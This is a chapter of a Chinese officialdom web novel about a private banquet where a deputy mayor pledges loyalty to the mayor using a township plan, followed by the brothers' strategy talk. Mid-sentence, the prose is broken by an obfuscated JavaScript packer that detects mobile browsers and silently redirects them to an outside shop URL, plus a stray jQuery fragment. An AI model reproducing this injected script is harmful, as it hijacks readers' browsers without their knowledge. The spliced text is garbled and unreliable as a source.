饭局设在振舟市宾馆三楼靠里头那间包房。
不大,一张圆桌,三把椅子,连服务员都被打发出去了。菜也简单,四荤两素一个汤,中间摆了一瓶茅台,已经开了封。
吕正邦坐主位,背靠窗户。吴正堂和吴国友分坐两侧,一个在左,一个在右。
“吴市长,欢迎来振舟市啊。”吕正邦先端起酒杯,笑容挂得自然。东道主嘛,开场的客套不能省。
“谢谢吕市长,今天没打招呼就过来了,给您添麻烦。”吴正堂也笑,把杯子端起来。
碰杯的时候,杯沿微微往下压了一丝——比吕正邦的杯口矮了那么一点。不多,也就一公分。但这一公分的信息量,那可太多了。
吕正邦把这个细节收进眼里。笑容更甚了,杯中酒一口干了。吴正堂也干了。吴国友跟着干了。三个杯子搁到桌面上,动静几乎同步。
“来来来,吃菜吃菜,别客气。”吕正邦拿起公筷给吴正堂夹了一块红烧鱼肚子上的肉,最嫩的那块。这个动作也有讲究——夹什么部位,给谁先夹,都是学问。吴正堂道了谢,动了筷子。
酒过三巡,菜过五味。
包房里的温度升了几度,三个人的脸上都有了点红意。话还没进入正题,像三只老狐狸围着同一块肉打转,都闻到了味儿,谁也不急着先下嘴。
吴正堂给自己倒满酒,搁下瓶子,筷子也放了。得说正事了。
他端着那杯酒,手指在杯壁上停了两秒,抬头的时候目光很稳:“吕市长,我就直说了。望川镇的镇长姜映月,是我儿媳妇。那个望川镇的发展规划,不知道您怎么看?”
话摊到台面上了。
吕正邦没急着接,拿起面前的茶杯抿了一口。其实他等的就是这句话。从下午贺晓斌来汇报,到吴国友登门约饭局,再到现在吴正堂亲自坐在对面开口——一整条线串起来了,跟他预判的一模一样。吴家要靠过来。投名状就是那份规划书。
有人可能觉得奇怪,吴正堂在振舟市好歹也是常委副市长,为什么不直接去找省组织部的李部长?这里头的门道,不在这个圈子里的人理解不了。
第一,投靠需要投名状。你上门空着手,说句“我想跟着您干”,人家凭什么要你?你得拿出值钱的东西摆到桌上,让人家觉得收下你不亏。吴正堂现在手里能拿得出手的,就是这份全国首例的规划书。
第二,级别差太远。李部长是省委常委,分管组织工作。吴正堂只是个地级市的常委副市长,中间隔着好几层台阶。你一个连门都够不着的人,直接跑去拍门?
第三,面子。走吕正邦这条线最稳妥。吕正邦是李部长的人,通过他往上递话,既给了吕正邦面子,也给自己留了退路。万一李部长那边不感兴趣,吕正邦帮你挡一下,台面上还过得去。
所以今晚这顿饭,吴正堂既是投靠也是试探。
“哈哈,吴市长啊——”吕正邦放下茶杯,往椅背上靠了靠,“你这个儿媳妇厉害,有魄力,敢做事,能做事。”
夸人,但没夸到位,火候还差一点,得让对方再急一急。果然,吴正堂等着他继续说。
吕正邦看在眼里,这才把后半截话放出来:“这个规划我看了,非常好,我也给省里打过电话汇报了。”
他停了一拍。这一拍停得很讲究,就像钓鱼,鱼已经咬钩了,你得让它再吞深一点。吴正堂和吴国友不由得注视着吕正邦。
“不出意外的话,这个红旗示范镇如果做成了,是全国首例。”
全国首例。四个字从吕正邦嘴里说出来,分量跟从贺晓斌嘴里说出来完全不是一个级别。因为这四个字后面还跟着一层意思——省里认可了。李部长认了。
吴正堂和吴国友都松了一口气。
吴正堂握着酒杯的手指松了松。那根绷了一整天的弦,终于在这一刻软了下来。他端起杯子,脸上笑纹舒展开来:“全国首例,那这也都是在吕市长的领导下开展的嘛。”他把功劳往吕正邦身上推——我把果子递到你嘴边了,你接不接?你接了,咱们就是一条船上的人。
吕正邦也把杯子端起来:“也不能这么说,咱们都是为人民服务嘛。而且姜映月同志是个好同志,以后,市委市政府会大力支持她的工作。”
话说到这份上,明牌了。支持——不是客气话,是承诺。我收了你的投名状,往后你是我的人。
吕正邦心里那杆秤已经拨好了。吴家现在的分量在振舟市不算重,但那个根还在。吴家老爷子退了,可他在财政厅干了一辈子,门生故吏遍布全省,那些人不一定还听吴家的调遣,但念旧情的人总有那么几个。有了这份香火情,再加上望川镇这份全国首例的政绩,这笔买卖稳赚不亏。
更何况——吕正邦的目光在吴正堂和吴国友脸上扫过——他们俩本身也是常委,在振舟市常委班子里占了两票。这就不是稳赚不亏了,这是赢两次。
吴正堂听懂了,该表态了:“谢谢吕市长。”他站起来,杯子举到胸口的位置,“我敬您,祝您更上一步。”更上一步——吕正邦现在是市长,更上一步就是部里了。
吴国友也站了起来,杯子举得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17690436|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
比吴正堂还低:“市长,我也祝您步步高升,带领我们振舟市越来越好。”
三只杯子碰在一起。“叮”的一声清脆。吕正邦仰头把酒干了,放下杯子的时候嘴角的弧度比这一晚上任何时候都真。不是高兴——是满意。
吴家这棵树虽然叶子黄了,根还在。振舟市那边的人脉关系网,几十年经营下来的东西,不是说没就没的。而今天他们主动贴过来,拿着全国首例的招牌当见面礼,这笔买卖怎么算都不亏。
“来,最后一杯,干了!”三人坐回去,又喝了一轮。
饭局散场。
振舟市宾馆房间内。吴正堂脱掉外套挂在衣架上,领带松了松,坐到床边的单人沙发上。脸上的酒意散了一些,但眼睛却炯炯有神。吴国友把门关严,倒了杯温水递过去:“哥,下一步咱们怎么办?”
吴正堂接过水杯,没喝,捏在手里转了一圈:“吕正邦会安排的。”他说得很慢,每个字都像在嚼。“下一步你做好两件事。第一,在市里全力配合他的工作,他要什么你给什么,别含糊。第二——”水杯放到茶几上,“咱们家的资源,能往映月那边输送的,尽量输送。另外让映月去找一下她爸,亲家那边的关系也得用起来,全力支持她把望川镇做起来。”
吴国友点点头,在心里盘算了一下。
吴正堂又补了一句:“吕正邦要是靠这个政绩往上走,走到哪一步不好说,但至少能进省里的门。到那个时候,他吃肉,咱们跟着喝汤,这口气就缓过来了。”
吴国友再次点了点头。全国首例意味着什么,他心里门儿清。这不是一般的政绩,这是能写进省委工作报告里的东西。谁主导的,谁就是那颗最亮的星。
“哥,那叶舟那边……”吴国友顿了顿,试探着说,“他毕竟是最早写这份规划的人。万一以后上面有人直接找他——”他没把话说完,但意思到了。叶舟是这份规划的原创者,功劳簿上他的名字排第一个。要是有人想绕过他们直接把叶舟挖走,那吴家费了这么大劲布下的棋局,核心棋子反而被人截胡了。
吴正堂把水端起来喝了一口,放下:“组织上不会亏待任何一个有功劳的干部的。等望川镇的摊子铺开了,该给的位子给,该给的前程给。他要往上升,我亲自给他铺路。他要留在望川干实事,资源管够。只要他不倒向对面,他怎么选都是咱们这边的人。”
吴国友长长地“嗯”了一声,这才彻底放下心来。
吴正堂看着窗外沉沉的夜色,感慨一声——没想到临到老了,自己还要靠儿媳妇的属下站了队。